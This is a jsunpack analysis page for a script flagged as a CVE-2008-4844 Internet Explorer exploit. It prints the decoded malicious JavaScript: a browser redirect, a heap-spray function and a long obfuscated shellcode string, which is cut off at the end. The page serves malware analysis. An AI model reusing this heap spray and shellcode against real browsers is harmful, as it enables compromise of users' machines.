jsunpack - a generic JavaScript unpacker

script malicious

[malicious:8] script
malicious: MSIENestedSpan CVE-2008-4844 detected
info: [decodingLevel=0] found JavaScript
suspicious: Warning detected /warning CVE-NO-MATCH Shellcode Engine Length 65536 /warning CVE-NO-MATCH Shellcode NOP len 9999
info: [decodingLevel=1] found JavaScript
info: file: saved script to (1710ab829c0ba510dc436b5ce57c42c282d4ec37)
file: 1710ab829c0ba510dc436b5ce57c42c282d4ec37: 9187 bytes
file: 98c026bd7acb5bcca47d0d122ae53dd572dbbae7: 439 bytes

Decoded Files

1710/ab829c0ba510dc436b5ce57c42c282d4ec37 from script (9187 bytes, 52 hidden) download

if(navigator.userAgent.toLowerCase().indexOf("msie 7")==-1)location.replace("http://www.091433.com//");  function sleep(milliseconds) { var start=new Date().getTime();  for(var i=0;i<1e7;i++) {if((new Date().getTime()-start)>milliseconds) {break} } }  function spray(sc) { var infect=unescape(sc.replace(/dadong/g,"\x25\x75")); var heapBlockSize=0x100000; var payLoadSize=infect.length*2; var szlong=heapBlockSize-(payLoadSize+0x038); var retVal=unescape("%u0a0a%u0a0a"); retVal=getSampleValue(retVal,szlong); aaablk=(0x0a0a0a0a-0x100000)/heapBlockSize; zzchuck=new Array(); for(i=0;i<aaablk;i++){zzchuck[i]=retVal+infect} }  function getSampleValue(retVal,szlong) { while(retVal.length*2<szlong) {retVal+=retVal} retVal=retVal.substring(0,szlong/2); return retVal }  var a1="dadong"; spray(a1+"9090"+a1+"dadong9090dadong9090dadongE1D9dadong34D9dadong5824dadong5858dadong3358dadongB3DBdadong031Cdadong31C3dadong66C9dadongE981dadongFA65dadong3080dadong4021dadongFAE2dadong17C9dadong2122dadong4921dadong0121dadong2121dadong214BdadongF1DEdadong2198dadong2131dadongAA21dadongCAD9dadong7F24dadong85D2dadongF1DEdadongD7C9dadongDEDEdadongC9DEdadong221Cdadong2121dadongD9AAdadong19C9dadong2121dadongC921dadong206Cdadong2121dadong67C9dadong2121dadongC921dadong22FAdadong2121dadongD9AAdadong03C9dadong2121dadongC921dadong2065dadong2121dadong11C9dadong2121dadongC921dadong22A8dadong2121dadongD9AAdadong2DC9dadong2121dadongC921dadong2040dadong2121dadong3BC9dadong2121dadongCA21dadong7279dadongFDAAdadong4B72dadong4961dadong3121dadong2121dadongC976dadong2390dadong2121dadongC4C9dadong2121dadong7921dadong72E2dadongFDAAdadong4B72dadong4901dadong3121dadong2121dadongC976dadong23B8dadong2121dadongECC9dadong2121dadong7921dadong76E2dadong1DC9dadong2125dadongAA21dadong12D9dadong68E8dadongE112dadongE291dadongD3DDdadongAC8FdadongDE66dadongE27Edadong1F7Adadong26E7dadong1F99dadong7EA8dadong4720dadongE61Fdadong2466dadongC1DEdadongC8E2dadong25B4dadong2121dadongA07Adadong35CDdadong2120dadongAA21dadong1FF5dadong23E6dadong4C42dadong0145dadongE61Fdadong2563dadong420Edadong0301dadongE3A2dadong1229dadong71E1dadong4971dadong2025dadong2121dadong7273dadongC971dadong22E0dadong2121dadongF1DEdadongDDAAdadongE6AAdadongE1A2dadong1F29dadong39ABdadongFAA5dadong2255dadongCA61dadong1FD7dadong21E7dadong1203dadong1FF3dadong71A9dadongA220dadong75CDdadongE112dadongFA12dadongEDAAdadongD9A2dadong5C75dadong1F28dadong3DA8dadongA220dadong25E1dadongD3CAdadongEDAAdadongF8AAdadongE2A2dadong1231dadong1FE1dadong62E6dadong200Ddadong2121dadong7021dadong7172dadong7171dadong7171dadong7671dadongC971dadong2218dadong2121dadong38C9dadong2121dadong4521dadong2580dadong2121dadongAC21dadong4181dadongDEDEdadongC9DEdadong2216dadong2121dadongFA12dadong7272dadong7272dadongF1DEdadong19A1dadongA1C9dadongC819dadong2E54dadong59A0dadongB124dadongB1B1dadong55B1dadong7427dadongCDAAdadong61ACdadongDE24dadongC9C1dadongDE0FdadongDEDEdadongC9E2dadongDE09dadongDEDEdadong3099dadong2520dadongE3A1dadong212Ddadong3AC9dadongDEDEdadong12DEdadong71E1dadongC975dadong2175dadong2121dadongC971dadong23AAdadong2121dadongF1DEdadongA117dadong051Ddadong5621dadongC92Bdadong2360dadong2121dadongDE12dadongDE76dadongC9F1dadong20DAdadong2121dadongDE49dadong2121dadongDE21dadongC9F1dadongDFC9dadongDEDEdadong7672dadong1277dadong71E1dadongC975dadong213Fdadong2121dadongC971dadong2374dadong2121dadongF1DEdadongA117dadong051Ddadong5621dadongC92Bdadong232Adadong2121dadongDE12dadongDE76dadong79F1dadong7E7FdadongE27Adadong23CAdadongE279dadongD8C9dadongDEDEdadong77DEdadongA276dadong29CDdadongDDAAdadong294Bdadong1F76dadong56DEdadongC935dadong237Cdadong2121dadongF1DEdadongDDAAdadong4049dadong444Cdadong4921dadong6468dadong5367dadongD5AAdadong2998dadong2121dadongD221dadong5487dadong4B0Edadong1F21dadong55DEdadong0105dadong05C9dadong2123dadongDE21dadongAAF1dadongC9D9dadong20EAdadong2121dadongF1DEdadongD91Adadong2955dadongAA17dadong0565dadong1F01dadong21DEdadongDE1Fdadong0555dadongC93Ddadong20CEdadong2121dadongF1DEdadongE5A2dadong7E31dadong997Fdadong2120dadong2121dadong49E2dadong4F4Edadong2121dadong5449dadong4D53dadongCA4CdadongAC34dadong0565dadong7125dadong03C9dadongDEDFdadong71DEdadong6BC9dadong2123dadongC821dadongDFC3dadongDEDEdadongC7C9dadongDEDEdadongA2DEdadong29E5dadong4BE2dadong494Ddadong554Fdadong4D45dadong34CAdadong65ACdadong2505dadongC971dadongDCDAdadongDEDEdadongC971dadong2302dadong2121dadong9AC8dadongDEDFdadongC9DEdadongDEC7dadongDEDEdadongE5A2dadongE229dadong1249dadong2113dadong4921dadong5254dadong5344dadong34CAdadong65ACdadong2505dadongC971dadongDCF0dadongDEDEdadongC971dadong20D8dadong2121dadongB0C8dadongDEDFdadongC9DEdadongDEC7dadongDEDEdadongE5A2dadongE229dadong4249dadong5657dadong4921dadong4952dadong4E45dadong34CAdadong65ACdadong2505dadongC971dadongDC86dadongDEDEdadongC971dadong20EEdadong2121dadong46C8dadongDEDFdadongC9DEdadongDEC7dadongDEDEdadongE5A2dadongE229dadong5749dadong5946dadongCA21dadongAC34dadong0565dadong7125dadongA3C9dadongDEDCdadong71DEdadong8BC9dadong2120dadongC821dadongDF63dadongDEDEdadongC7C9dadongDEDEdadongA2DEdadong25E5dadon

98c0/26bd7acb5bcca47d0d122ae53dd572dbbae7 from script (439 bytes) download

Submission permanent link 405e70ae9bdc9859bd92ebbc5ba99c8a9e43e3ad (Received 2018-04-09 02:04:57, script )

All Malicious or Suspicious Elements of Submission